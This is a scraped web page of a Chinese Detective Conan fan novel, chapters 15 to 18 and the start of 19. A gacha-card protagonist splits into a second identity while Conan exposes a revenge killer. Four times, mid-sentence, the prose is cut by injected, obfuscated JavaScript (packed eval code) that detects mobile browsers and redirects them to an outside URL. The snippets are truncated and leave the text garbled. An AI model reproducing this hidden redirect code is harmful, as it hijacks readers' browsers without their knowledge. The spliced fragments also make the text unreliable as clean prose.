“你的过去承受着某种伤痛,可这并没有影响到你现在的富裕生活,你容貌俊美,身体健康,才能优秀,人生是一眼望不到尽头的坦途。甚至长辈在商业上的打拼,都还在不断地给你的未来加垒,人们羡慕地称你为未来的财阀之子,视你为黄金的眷宠。” “但过去的独特之处就在于它的不可摆脱,它就像是时间中飞驰而来的空隙之犬,如影随形地跟着你,你无时无刻都能见到它,在每一个无人的夜晚,它都会跳上来,噬咬你的心。” 上面是一位端着透明酒杯的年轻人,他身上披着一件白金色的西装,坐在酒吧的吧台边,任由别人给他倒着酒。他双腿交叠,左手杵着脸,投射下来的昏黄的光晕染了他的面庞,他凝视着虚空,他的眼睛和他的酒液一样,都散发出细碎的星星的光。 “我理解并尊重她的选择,但一切不会就这么结束。” 嗯,就……出货了吗?裴真从床上坐起来,想起了前世某款闹心的抽卡游戏。还是说,他这个金手指出货并不难,难的是,他看向了这卡牌标识的前面部分,材质的等级。 迄今为止,除了最初的[黄金],他只抽到过[灰石]与[青铜],这大概是最低下的两个材质了吧。 而且,这张卡牌里的内容,似乎很有喻义啊。想了想,裴真试着将自己[天野鹤]的身份卸下,居然真的成功了,然后,将这新的卡牌放上去,纷拥的记忆涌来。 “怎么可能?”裴真惊讶。 这便是他出现在这里的原因了,从[望川涉]的记忆中他得知,这一次长川家事件的背后,居然还有[他]的插手。裴真揪了揪头发,不是啊,我这张卡才刚刚抽出来,你就这样迫不及待地给他安排大反派的戏份了吗?我明明是来做侦探的,这样他还怎么好意思揭发本次事件的凶手? 裴真仿佛看到了自己这一次陪跑柯南的未来。 但,很少有人能在推理上夺去柯南的光芒,而这张卡,裴真思索,貌似还有很多待挖掘的地方。 好消息,他不用再担心自己的金钱了,坏消息,这是张有前情的身份卡。 裴真安静地往回走着,他需要在不惊动任何人的情况下回到别墅自己的房间,幸而大部分人都睡了,那几个喝了酒的,更是什么声音都听不到。 “滴滴。”身上的另一部手机发出声音。裴真面不改色地将之按了下去,又将之收回。他试过了,他可以同时装备两张的身份卡,两张卡会同时起效,这样的他在旁人眼中,就是有着两个不同身份的人。金手指才不管别人的认知,它就硬往别人观念里塞,如果不能脑补,恐怕会陷入混乱的buff。 但身份多了,裴真也会很头疼。就像现在这样。 “滴滴——”手机锲而不舍地传来声音。裴真拿出手机,是一个未知混乱的号码,看了它一会,他还是接下了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175948|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对面没有说话,裴真也不说话。互相沉默了几刹,对方毫不犹豫地挂断了电话。 裴真不以为意,他是知道[望川涉]这手机来处的,并且,将之留下的用意他也明晓——[他]感觉挺有意思的。 他继续往前走,但手机第三次响起铃声。裴真接通,对面终于传来一道男声:“谷山康彦在哪?” 这声音低沉阴狠,带着说不清的冰冷残酷,让裴真没见到他,就知道这绝对是一个无比危险的人物。 裴真笑了,他轻轻说:“我也不知道呢,这手机只是我从一个二手贩子手里买来的,你要找手机原主人吗?或许你可以报警试试?” 男人冷笑一声:“别以为你可以糊弄我,组织的叛徒是绝对活不下去的,而你,不管是谁,动了组织的猎物,也绝对会付出代价!” “你在威胁我?”裴真似是有些不敢置信,他像是从没接触过这类事物,犹疑问道:“组织?什么组织?追回手机组织吗?” “哼!”对面不再说话,干脆关机。与此同时,一小团光液晃晃悠悠地从稍远的地方飞来。 +31,+25,+18。 再加上刚才稻田真司的+23,和抽卡余下的4.5,总数一下子就来到了101.5,下一抽的能量一下子就充满了。与剧情人物打交道,尤其是初次接触,他总是能收获很多。 你以为这就完了吗?不,并没有。在裴真小心地推开房门,终于回到房内的时候,又是几团光液飞速扑来,它们身体臃肿,几乎能媲美他第一天来到这世界时遇见的。 +36,+25,+27,+12,+3,+2.9…… 看来,那个叫“谷山康彦”的人身上带着的东西对他们确实挺重要的,而刚才给他打电话的那人,在组织中的影响力也很大。应该是能直通BOSS吧,通过数值,裴真漫不经心地这样想着。 本来其实他并没有挣取光液的想法,但这一下子……裴真不得不承认,确实挺有意思的。正向的回馈总是能给人带去动力。 他关上了门,熄灭了手机的灯,将带来的斗篷重新藏进包里的最底下,然后盖上被子,安稳睡去。 15.第 15 章 夜晚做的事多了,第二日就会很困倦。裴真随意找了个借口敷衍了柯南的问话,或许是当晚另外几个酒鬼的缘故,柯南虽然觉得有些奇怪,也没有联想到其它方面去。 长川右介对工藤优作的执着很多人都知道,工藤优作大概是不在意这一点的,连现在知晓的工藤新一,不,是柯南一开始也没放在心上,只是谁也没想到,他会在自己扭曲的欲望下,做出这样违背人理的事。 但事情已经过去那么久了,既定的事,谁也无法改变。可,罪恶之所以令人痛恨,其中有一点就是,它刻画下的伤痕,不是一时的痛苦,而是能伴随整个人生的困境。有人圈圈绕绕地在里面不断徘徊,直至寿终,也无法释怀。 “从一来到这里,我就发现一个奇怪的现象,”“毛利小五郎”坐在椅子上,整个人没有了平日里的活跃,沉稳的可怕。没有谁怀疑,因为这才是他们心目中大侦探的样子。柯南静静说着:“虽然来的人都是为了长川右介的那本书,可是,除了你和小兰,没有谁表现出对它更多的兴趣,甚至连其本身的编辑,都不想谈起它。” “这有什么,”稻田真司冷静道:“我是一个很负责任的记者,就算是为了工作,在来之前,我也会将它看完的。” 大家面色讪讪,罗织幸子神情冰冷。 “警察发现的小木屋,里面除了田守仁的尸体外,还有一些生活的痕迹,”“毛利小五郎”道:“作为长川家的司机和花匠,他的日常生活很规律,但这也是需要时间观察的,我让警察去问过在座各位的公司了,近期请过长假的只有你。” “记者的工作压力太大了,”稻田真司皱眉:“我只是需要一些单纯的个人时间,这也犯了错吗?” “你需要将罪责推给那个潜藏起来的人,”“毛利小五郎”继续道:“所以你需要在他潜逃在这里的时候,将你所痛恨的人杀死。而你又尤想让你所恨的人体会到哪怕一丝你当年的恐惧,所以你穿上衣服,带上面具,在那个晚上来到他的房间。” “这本来应该是田守仁该做的事,是只有他和田守仁知道的情节,当然,他不知道的是,有人将他的手稿偷了出来,卖了一个并不算高的价格。”躲在角落里的女仆爱莉瑟缩了一下,“所以当你做出书中人物该有的动作时,他很快就打消了自己的怀疑。” “你们开始假意交手,在书房中留下打斗的痕迹,”柯南徐徐道来:“结果是他不敌,你紧紧追去,又或是他假作被击晕,被你掳去,而接下来,因为一个人做不到,所以其实是他自己主动站起来跟你走的。” “这也太可笑了,”稻田真司忍不住打断道:“你这才是在讲故事吧?长川右介有那么蠢吗?” “他只是太傲慢了,认为田守仁完全在他掌握中,”柯南静静解释了一句:“我猜想,接下来的书中情节应该是,他在千钧一发的关头绝地反击,在危险中将危险的源头消灭,如此完成他主角的戏份。” 柯南留出了一些时间,稻田真司蠕动了下嘴角,强忍着没有说话。 这实在是一个很适合发泄情绪的时机,裴真在暗地里想,眼看着痛恨的仇人在一瞬间失去了方寸,之前还尽在掌握的虚伪的脸,渐渐被恐慌和难以置信爬满,他挣扎着痛骂质疑,发现不管用后哀哀恳求,却依旧只能瞧着镰刀无情斩落——这简直就像是一副良药,落在他痛苦了十几年的伤疤上,哪怕无法根治,也能解渴。 裴真还待再想,可下一刻他便反应过来,不对,他是一名侦探啊,为什么要站在一位犯罪者的角度考虑问题?果然,抽卡还是对自己有影响的吗? 裴真托着下巴思索起来。 稻田真司干巴巴地说了一句:“他怎么能算主角。” “当晚我们每一个人都被逃跑的潜藏者惊醒,为了抓住这个不稳定因素,我们组织了几人一起追到了密林里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177274|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,亲眼见到这被塑造出来的一幕,每个追踪的人都不会拥有作案的时间。” 高司启明松了口气,其实当晚他也是很害怕的,但作为男人的自尊,让他无法开口说要留下来。 “我睡前吃了安眠药,”稻田真司依旧不慌,他摇摇头,“这是老毛病了,失眠困扰了我很久,不得不依靠药物,但吃下药后,不管外面发生了什么,都没法吵醒我。” “难怪,”小兰回想起来:“当晚我们本来也想将稻田先生叫醒的,但一直没动静,我们还担心他出了什么事呢。后来是他自己出来的,说是没听见敲门声。” “是啊,你当然可以这样说,毕竟他们也没亲眼见到你不是在睡觉,”“毛利小五郎”从始至终都是成竹在胸的样子:“你逃离了十多年,换了名字,换了面貌,改易了性格,回到这里,就是为了报复当年的一切。你很早就想这样做了,只是这一次的电视改编刺激到了你,让你无法再等下去了。” “当柯南告诉我,老管家说能第一眼认出过去的小少爷的时候,我是不信的,因为他分明就没有认出,可是后来我又有了一个想法,”“毛利小五郎”低沉道:“你,是做过最彻底的整形了吧?” 众人有些哗然,他们开始观察稻田真司的面部,但无论如何,他们也找不到不协调的地方。其中老管家是最激动的,他忍不住想要靠近过来,更仔细地端详。 “说了这么多,还不都是猜想吗?”稻田真司没有否认也没有承认,他讽刺道:“亏有人说你毛利小五郎多么厉害……” “你想要杀的人,还没有杀完吧?”突兀的,“毛利小五郎”来了这么一句。 眨眼间,之前因为观察靠得近了些的众人瞬间远离,他们躲在毛利小五郎身侧,仿佛这位“沉睡的名侦探”能带给他们什么保护似的。 只有老管家依旧站在那里,他仿佛已经认出,眼眶中满是饱胀的泪水。 16.第 16 章 在这最后的推理往前,在他们刚刚见到了神秘的面具人将锋利的镰刀砍下之后,一行人在这诡异奇幻的案发现场瑟瑟发抖,柯南与毛利小五郎聚到了那具无头的尸体前。 “确定是长川右介吗?” 柯南蹲在水池里的脑袋前:“确实是他的脸。” 毛利小五郎进行了基本的检定。裴真走进过来,沉默不语地看着这具凄惨的尸体。现在的他已经抽出了那张立场不辨的卡,他自然知道,这个人,也是[他]所想要杀的人。只不过,[他]与稻田真司不同,想要解决一个人,并不会自己动手。 [他]可以有无数个方法,因势利导是其中最为无声的一种,而如果真要动手,也会有不少人会做他手中的刀,区别只在于他们自己知不知道,稻田真司无疑是自己主动找上门来的。 [他]就像卡面上所说的一样,天资聪颖,不论选择走哪条路,都可以轻轻松松地走得很远。 裴真注视着自己被充满的光液容球,在当晚获得第二波的微光后,后面还断断续续地来了其它的收获,虽然只是些小数字,但堆积起来也不算少了,约有30+,他在心里细细算了一下,101.5+105.9+36.7,总数是244.1。 不会真的给他干到300吧? 他不知道的是,在将[他]的消息传递给上司后,电话对面的人更是下达了严密搜索的消息,其原话是这样的,“没有谁能够在挑衅了组织后,还能在世上安稳地下去!” 他锋利森白的牙齿咬着一根雪茄,袅袅的烟雾轻轻遮挡了他的脸。 他强壮的司机跟班有些担忧地问:“这样大规模的行动,会惊动组织里的老鼠吧?谷山康彦身上带的东西……” “那只逃跑的狗,”查到了一些东西的男人饱含轻蔑地一笑道:“逃出去后,居然还是做了其他人的狗,这种能力和智商,不杀了他,简直就是将组织的脸往地上踩。” “至于老鼠们,”他深吸了口烟,眼神迷离道:“我会在他们行动前将一切都解决掉的,若是后面他们自己主动跳出来,那就——” “实在太好了!”他咧开嘴,杀气四溢一笑。 +31,+21,+13.4,+1.9,+0.8。 裴真怔了下,他实在没想到,在过去了一天多后,光液还能给他蹦出来两个大的数字,这又是出自哪里?他还没有真正以[他]的身份行动,只是装备了下,就获得了这么多的收获……这就是新卡的快乐吗? 但麻烦也多,原剧中的酒厂势力庞大,横跨政商多界,是一个全球性的黑色组织,与之交恶,是一个非常危险的举措。而且,酒厂还不只是酒厂,里面势力错综复杂,掺杂了不少各国官方的势力,说不定后面的数字就是来自哪个潜藏起来的卧底。 没等裴真想到后面要如何走,另一边的谈话吸引了他的注意。“没有绳子绑住,”柯南自言自语道:“仅凭一个人就可以将他完全压制住吗?” “说不定是打晕了呢?”毛利小五郎不以为意。 “不,我们都看见了,”柯南回答:“刀砍下来的时候,死者还在挣扎,凶手一定是个相当强壮的人。” “凶器被带走了,现场也没有留下什么痕迹。”毛利小五郎陷入思考:“如果有毛发就好了,可以进行DNA验证。” “这是……”柯南从水池里拿起一样东西,是一个细碎的白色的碎片,他沉吟了一会,小心地用手巾将它收了起来。 这个案子并不困难,但它需要对十几年前的女主人摔亡案有所了解,才能有侦破的头绪。而之后柯南隐隐对案件脉络有了摸索的时候,另一个人的存在就十分关键了,女仆爱莉的证词坐实了两次跨越了时间事件之间的关联,它让一切都清晰起来,杀人者的动机也就有了。 凶器不是关键,镰刀不是杀人者带来的,它是长川右介自己选择了,为了奇诡华美,他特意塑造出来的这么一个特殊的场景。 而时间,这才是凶手绕不过去的。他估计也没想到那个潜藏者会将众人带去那里,他不是表演犯,他是个复仇者,他想要的只有仇恨之人的恐惧与悔恨。 “你要杀的,不仅只有田守仁和长川右介,”柯南冷声分析:“你没想那么早暴露,这不在你计划中,但既然已经发生了,你就要去挽回,所以,你回来后的第一件事,不是去到房间,而是扎爆了所有汽车的车胎,目的是为了防止我们逃走。” “我想,你应该知道一条隐秘的小路,能够不通过兰她们聚集的客厅,能从后面回到自己的房间,这不是稻田真司知道的,是只有过去那个失踪的孩子才知道的,你杀人时的鞋子已经丢了,你只能赤着脚走回来,上面肯定沾满了泥,你要做的事太多,必须在兰她们产生怀疑前出来,我想,你现在鞋子中的脚,应该不算好吧?” 稻田真司低着头,静默片刻,他终于笑了,大笑:“哈哈哈,真是没办法,竟然倒在一双袜子身上,我本来想将它扔了,但贴身的衣物又担心留下皮屑,留在房里也不好,就想着穿出来,找个机会埋进花园里,又或者用水洗了,可谁知道,那边那个姑娘盯了我一个晚上,就是不让我离开,这是你之前特意吩咐的吧?” 见他终于承认了,客厅里一片哗然,老管家愈发激动:“你果真就是小少爷……” 稻田真司脸上狞色一显,他毫不留情地反手一拉,就用手臂扼住了他的咽喉,并将之抵在了身前。 “你不是说我还有人没杀完吗?不错,就是他。”他转而看向老管家,恶声道:“这个虚伪的帮凶!” 柯南屏住呼吸,管家离他们太远了,一时无法制止。 “收起你的眼泪!我好早就想说了,什么少爷,真让人恶心,”他毫不留情道:“从前我被关在那个地下室五年的时候,也从没见你去揭发他的恶行,你只会眼睁睁地看着,然后做出一副悲悯的样子,扔下来一点食物。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192342|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 这话一出,场中有几人顿时惊呼出来。 “你是说他囚禁了你,”小兰不可置信,“还有莲实夫人呢?她没有救你吗?” “夫人她……”老管家呼吸有些困难,但还是露出了苦色。 “不要和我提那个女人,”稻田真司痛苦大吼:“她算什么东西?她就是个木偶,是个塑像,也比是个人强!” 众人看向老管家,他面色苍白,但还是开了口:“老爷曾经说了,‘上川崎莲实?你不用担心她,这个女人啊,在得知自己能对我的事业有所帮助的时候,高兴的都不知道成什么样了。’” 小兰的脸色沉痛了下来。 “那你是怎么逃出来的?”罗织幸子忽然问。 稻田真司脸上显出一丝诡色:“你们不是说过了吗?是剧本啊,他的情节发展到了,自然就需要我这个道具了,他放我出来跑,他在后面追,无论如何,到最后,我都脱逃不了他的掌心。” “他曾在书里说,他对那个女人格外满意,但唯有一点,令他很不高兴,”稻田真司语气幽幽:“那就是我了,女人为什么要生孩子呢?充满了意外性,又无比的麻烦,从来不在他考虑内。” 裴真目光悠远,他想,除开那一点外,这大概也是他没有什么动作的原因之一了吧。这世间对他而言,在很早以前就是地狱了。 “所以你就又回来了,”奇怪的是,这两次都是罗织幸子在问:“值得吗?” “当然值得!”稻田真司紧紧咬牙,一张脸激动到通红:“你们不知道,多少个夜晚,我用我的脑袋一下又一下地撞墙,就是为了将这些驱散出我的脑子,”他瞪着眼,眼神恐怖:“可就是不行,它们在这里面犹如岩浆般翻腾,又如野兽般怒吼,它们都在对我喊,要么去咬死那个男人……” “要么,就咬死你。”最后一句,他是用十分平静的语气说出来的。听到的人都感觉胸口像是堵了东西,口中生涩,无法说出话来。 罗织幸子就不说话了。她仿佛回忆起了什么,最后也只余一声叹息。 这是个绝望的男人,他太痛苦了,平和只是伪装,内里早已死去。 “所以你就策划了这一切?”柯南还是问了出来。不,不对,这里面有什么是他做不到的。 “不错,”稻田真司干脆承认下来:“从头到尾,都是我的手笔。” 柯南脑中一亮:“不对,那个逃犯!逃走的那个人,你根本控制不了他,他是个替罪羔羊,但也不是什么人都能用的!” 稻田真司依旧很平静:“这很容易做到,他需要一个隐蔽的地方,这里就很隐蔽。” “还是不对。”柯南急得转圈圈,这次的案件从头到尾都有不顺的地方,尤其是那个迄今还不知道身份的人,他凶狠异常,就像突然闯进来的。 稻田真司还待再说,就听见一道笑声从上面的方向传来。 裴真偷偷捂住了脸。 17.第 17 章 裴真有想过怎样去利用另一张身份卡,用在自己的身上无疑是一种危险与浪费,[他]的背景有好的地方,也有坏的地方,只是那些钱财,还不值得如今的裴真主动踏入危险。 那就用这张卡带来的抽卡次数搏一搏吧!否则的话,现今的资源,不揭开自己的底牌,恐怕很难从组织带来的混乱漩涡中全身而退。 做下决定的裴真坐在客厅里,望着窗外仍处于黑暗中的密林。身边的小兰正盯着昏昏欲睡的每一个人,年轻的脸上带有一丝紧张。 林中好似有影子一晃而过。裴真将心神收束,点击上了早已圆满的光球。 [杂物·灰石]【礼花手杖】 “来自不知谁人定制的一款特别的手杖,能够从顶端喷出炫彩的礼花纸片,是给人带去惊喜的好手段。” “你喜欢魔术吗?我非常喜欢。” 裴真一点也不惊讶,抽出过糖果和纸钞的他,对能抽出什么,都可以淡定接受。 他继续点击,星辰如织中,他抓住了一颗青色的充满活力的星星。 [技能·青铜]【综合格斗】 “融合多种武术技法,去其糟粕,取其精华,进可攻退可守,进如尖刀,直插敌人咽喉,退如盾牌,坚不可动。生死之间,唯战而已。” “生存是动物们都该有的本能,武技是人类为自己长出的牙齿,在最蛮荒的时代,人类便是用最简陋的攻击来为自己和族人获取食物,他们用尖木刺、用弓箭、用石斧,而在什么都没有的时候,他们就用自己的身体,这便是格斗最初的来源了。” “它贯穿了整个人类的生存史,抛弃它,就犹如抛弃人类的本能,更何况,你又怎么能说,现代的社会不是另一种意义上的原始丛林呢?” 这是一张很有用的技能牌,哪怕它的等级仍是青铜,但裴真想,它或许能一直起效到很久的未来。这三次的抽卡尝试,能出这样一张大大加强自己守护力的卡,裴真已经很满意了。 谁不想自己呼呼喝喝地使出一招超级帅的武术招式呢?起码他前世就这样想过。 只剩最后一抽了。裴真站在遍布水意的未知之地上,没多大期望地随手一点。 直到一颗黑色星星乳燕投怀般落入他张开的掌中。他停在原地,脚步没有往前挪动一步,犹如一个乍临的惊喜。 这个颜色……他将心神凝聚在它之上。 [时装·黑铁]【生死游走的光暗中人】 卡面上的光影暧昧不清,无数的人影在下方汇聚而动。他们有的正举起酒杯,有的欣赏着得来的珠宝,有的扼住自己脖颈,痛苦嘶吼,也有的举起枪,甘愿被仇恨吞没…… 而在他们上方的,是一个张开了双手,作拥抱状的神秘之影。他身上披着一件宽敞的黑色斗篷,隐隐透出的红色眼瞳中满是富含深意的笑,他的面部不再如身份卡上那般被特定的手法模糊过去,而是真切地呈现在他眼前。他太过年轻,俊秀的像是画中人。 无数若有若无的丝线连接在他双手间,另一端则隐没在下方的剪影中。他身上有一种神秘幽邃的质感,就像舞台的掌控者,也像隐匿在一切背后的黑手。但只要露出一点真真切切的影子,就几乎让人无法将目光从他身上移开。他是一个漩涡,吸引来一切虔诚者。 裴真浅浅呼吸了一下,他被这张卡的画面给惊到了。画中人仿佛是在真切地与他对视,深红的眼瞳凝望着画外,就像是在与他对话,他在与他交流,用一种亲密无间的方式。 这就是[时装]卡吗?裴真也是第一次抽到这种分类的卡,他不知道是这卡的独特,还是所有的这类卡都有这种将要跃出的生命力。想到了那张[猫]卡,他的心中若有所思。 他转而看向卡面上的文字介绍。 “世界是虚无的,唯有欢乐还有那么点意义。” “我追逐着混乱,因为混乱能带来未知。我亲睐于诡异,因为诡异将给我带来惊喜。永远不缺乏激情,因为我爱着很多,危险对我而言是必需品,我吮吸着它们,就像吮吸着母亲的乳汁。” “光与影于我只是剪彩,唯有设定者才能决定舞台,我游走在众人间,掌管着旋律启奏。嘘,一切的大幕就要开启了,我亲爱的观众啊——” “请,多看看我吧。” 裴真的表情难言,他忽然发现,他需要担心的,不是接下来酒厂即将给他带来的麻烦,而是这张卡,本身就代表着无尽的麻烦。排除掉那些具有煽动性的文字,裴真总结了下来。 这[时装]里的[他]是一位情报商,特殊的是,[他]是一位游走在黑白两道的情报商,他有着一个神秘的电话薄,里面上至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197420|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国家高层,下至黑|帮底层,都有着可以联络上的方式。他按照自己的心情去接委托,有些时候,完成后反捅一刀也不是不可能的事。他了解这个世界,明了他们的规则,但,只喜欢以自己的方式来生存。 裴真表情纠结,沉思了一会,他向着小兰悄声道:“我出去一下,上个厕所。” 小兰紧张的表情稍缓,她想了下,点了点头。她不认为这位和他们一起过来的侦探邻居会是这一次事件的凶手,柯南特意提过的也不是他。只能说,她还是没想到金手指的不讲道理…… 来到屋外,确定了周围没有一个人,裴真舒出口气。这次的抽卡让他心情实在无法平静下来,犹豫了下,裴真在思考如何使用[时装]卡。 最直接的方式,就是使用在自己身上。可他还没有改变自己外貌的想法。想到之前的[猫],还有自己从黄金卡牌里带来的那个能力,裴真眼中一亮,或许他还有另外一种使用方法。 只有他能瞧见的流光在空中一闪而过,一道人影忽然出现在他眼前,但很不稳定,仿佛下一刻就要破碎而回。裴真瞬间将一部分的心神投入进去,一个小小的白色光球落入到对面的身体里,人影居然稳定了下来。 可行!这简直就是另外给他新造出了一具躯体!他拥有的不是马甲系统,但不能阻止他为自己创造一个,都是给自己加压,为什么不能分摊开来呢? 两个自己互相对望,裴真点点头,而另一位,他缓缓露出奇特的笑。 这种感觉好奇怪啊,裴真体会着另一份的心情。好想摸摸自己啊,能在这种角度看自己,也是一种绝无仅有的体验了吧? 又想到之前抽到的[身份]卡,裴真一下子就有了它的归处,他伸手将之甩出,甩到另一个自己的身体里(其实只用在心里操作就行了),另一个自己怔了下。 [时装]说起来其实和[身份]有一定的重叠,区别只在于一个侧重姓名和来历,一个侧重容貌和能力。可这与裴真将它扔出无关,他扔出它,是扔出一个麻烦。 反正都是自己,[他]不是喜欢麻烦么? “从今往后,你就是[望川涉]了。”他拍了拍[他]的肩膀。 人影缓缓抬起头,一双红眸在黑夜里愈发诡谲,他笑了起来,轻跃道:“从今往后,我就是望川涉了。” 18.第 18 章 这一套麻烦的手段下来,裴真总算有了第二套可供行走的身份。 但其实,还有另一种更简单的方法。那就是随机去夺取一个人的身体,再用[时装卡]改变他的外貌,用[身份卡]去改易他的身份,哪怕是一具死尸也行,这样一来,他就能万无一失地拥有一具新的马甲了。 只是裴真不想这样做而已。他想要尝试一下,若将[时装卡]看作一件“外衣”,他再用自己的意识去穿上它,是不是能“卡”出一具形体来。果然,[时装卡]的要求只要是他就行,就算是“灵魂”,它也能让人真实呈现在人前。 对于新出炉的[望川涉],他想了下,还是吩咐道:“尽量不要太过火。” 虽然都是自己,但自己对自己说话也挺好玩,[望川涉]眸光深深,他轻声道:“好的。” 裴真便就此离开了。之前他曾同时控制猫身和人身,可那时的距离很近,他也不需要去做什么复杂的动作,这一次长时间的分离,他还是有些忐忑的,希望不要在这过程中产生意外的变数。 裴真走了后,望川涉便笑了出来,他将意识的一大部分放在这个新身体里,另一边的自己则眼神开始有些涣散,[天野鹤](裴真的主身体)回到之前的位置,坐到椅子上,闭上眼睛,状似陷入了休息。与女仆的交流是在“召唤”前就已经完成的,现在,他只需要等待就好。 望川涉感觉心情很奇怪,他自然也是裴真,但在分体内,还是叫他另一个名字好。他环视着周围的一切,原本阴暗森然的夜晚在他的眼中都变得脉脉可爱起来,他有着富裕家庭生活的全部记忆,但情报商的经历也没有模糊,在他的认知中,他是同时拥有这两个不同身份的。在……那次的事件过后,他的生活就失去了天真的色彩,哪怕之后收养他的人对他很好,他也无法遗忘童年时的那次创伤。 之后他学习知识,学习武术,嗯,主体将那张[格斗]的卡牌也交给他了,学习一切可能有用的东西,金钱便是他无限制提升自己的最佳背景,他本就天资聪颖,很多东西根本难不倒他。而在这过程中,他逐渐接触到了一些……危险。 嗯?望川涉皱眉,但很快,他就将眉梢高高挑起,这些东西是……他的表情兴奋起来,在他的记忆里,一座海边的城市显得尤为特殊,在那里的人们,似乎拥有着一些奇妙的、有趣的小能力,而在日本的高层,似乎也用有着一群奇怪的、古朽的小圈子。当然,这些本体尚还没有发现,哦,好了,现在他也知道了…… “太有趣了!”这个世界根本不止柯南这个世界那么简单,它就像是个多拼的冰激凌,几个不同颜色的奶油被混杂着堆砌在一起,彼此之间竟还没有侵蚀与干扰,它自有一套它的运行规律。望川涉抬起双手,转了个圈:“这个世界!” 我会和你,还有你里面那些可爱的人们好好相处的。 这就是之前裴真暗地里做的事。现在,便是[他]第一次的正式登场了。 在柯南质问稻田真司的时候,望川涉毫不犹豫地揭开了自己的面纱。和主体不一样,他的性格喜欢动荡不安,混乱也乐意聚集在他身边,他并非纯然的暗之子,他只是,区区一介游走在光暗之间的,小小的情报商人而已。 “他当然做不到,”他侧坐在二楼的栏杆上,松散的黑斗篷微微垂落,俊秀的脸边是乖顺贴合的短发,他的眼神是深邃的红色,里面似乎有无尽的幽暗与神秘隐藏,他双腿交叠,不需要任何支撑,就能安然坐在这个危险的位置,他用蕴含着笑意的眼神看着他们,嗓音如蚕丝般轻滑:“那个人叫做谷山康彦,是从一个无比庞大的组织中逃出的叛逃者,又怎么会是他一个小小记者能够操纵的呢?” 突然出来的未知人物让众人有些惊慌。柯南也不再躲藏了,他看着上方,凌厉道:“你是谁?”但紧接着,他又注意到了一点:“什么组织?” “我只是一个有幸遇到了这场推理戏的围观人士而已,至于组织,”他拂了拂斗篷,语气轻巧道:“你们还是不要知道为好,这个世上,有时知道的太多,才是陷入危险的根源。” 柯南脑海中的警报器震响,他几乎立时能肯定,这个人说的“组织”,一定就是让他变成现在这样的罪魁祸首的组织! 他咬牙:“你说那个人不是他能操纵的,那这个谷山康彦又是怎么来这里的,莫不是说,你也是那个危险组织中的一员?这一切,都是你策划的?” “不对哟,小侦探,”望川涉伸出手指,晃了晃:“都猜错了。” 裴真眯起眼睛,他站立在众人的最后方,同样作抬头状,只是内里的心神,全数放在了另一具身体上。 望川涉的眼神从本体上一掠而过,就和看别人没什么两样。“我也没有操纵他,至于那个组织,他们可不是我的菜,我是自由的,可不是什么奇怪的组织都能收容的。而策划嘛……”他抱臂托住自己下巴。 “和他无关,”稻田真司这时忽然开口道:“这一切都是我做下的,计划是我想出的,行动也是我的意愿,他从头到尾都没有参与进来过,什么也不知道。” “不错,就是这样!”望川涉打了个响指,面含笑意。 柯南眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他在引诱他,就像一株开出的罂粟花,就像暗里吐信的毒舌。他到底知道了什么,为什么要和他说这样的话,是刚才自己在听到组织时表现得太明显了吗? 这是个狡猾而又冷酷的敌人,他远比稻田真司要心机深沉,他坐看这一切的发生,却只当它是一出戏剧。 他转向稻田真司:“他是在利用你!他根本没把你放在眼里,你以为的复仇,只是他看的笑话而已。” “不,”稻田真司平静道:“他说的是对的,是我坚持要这么做,是我……露出了破绽,我的存在导致了这一切,他……是更好的。我对不起他。” 柯南迷惑地看着他,这一次,他连震惊都没有了。他试图从他脸上看出被蛊惑的狂热,但他瞧见的只有一派平静,他甚至都从方才的仇恨当中走了出来,当然,那只是隐藏的更深了,他好似真的是出自自己意志说出的这些话。 “呵,”柯南听见那个红眸的人在笑,他缓缓说道:“看啊,你真的是正确的吗?” 19.第 19 章 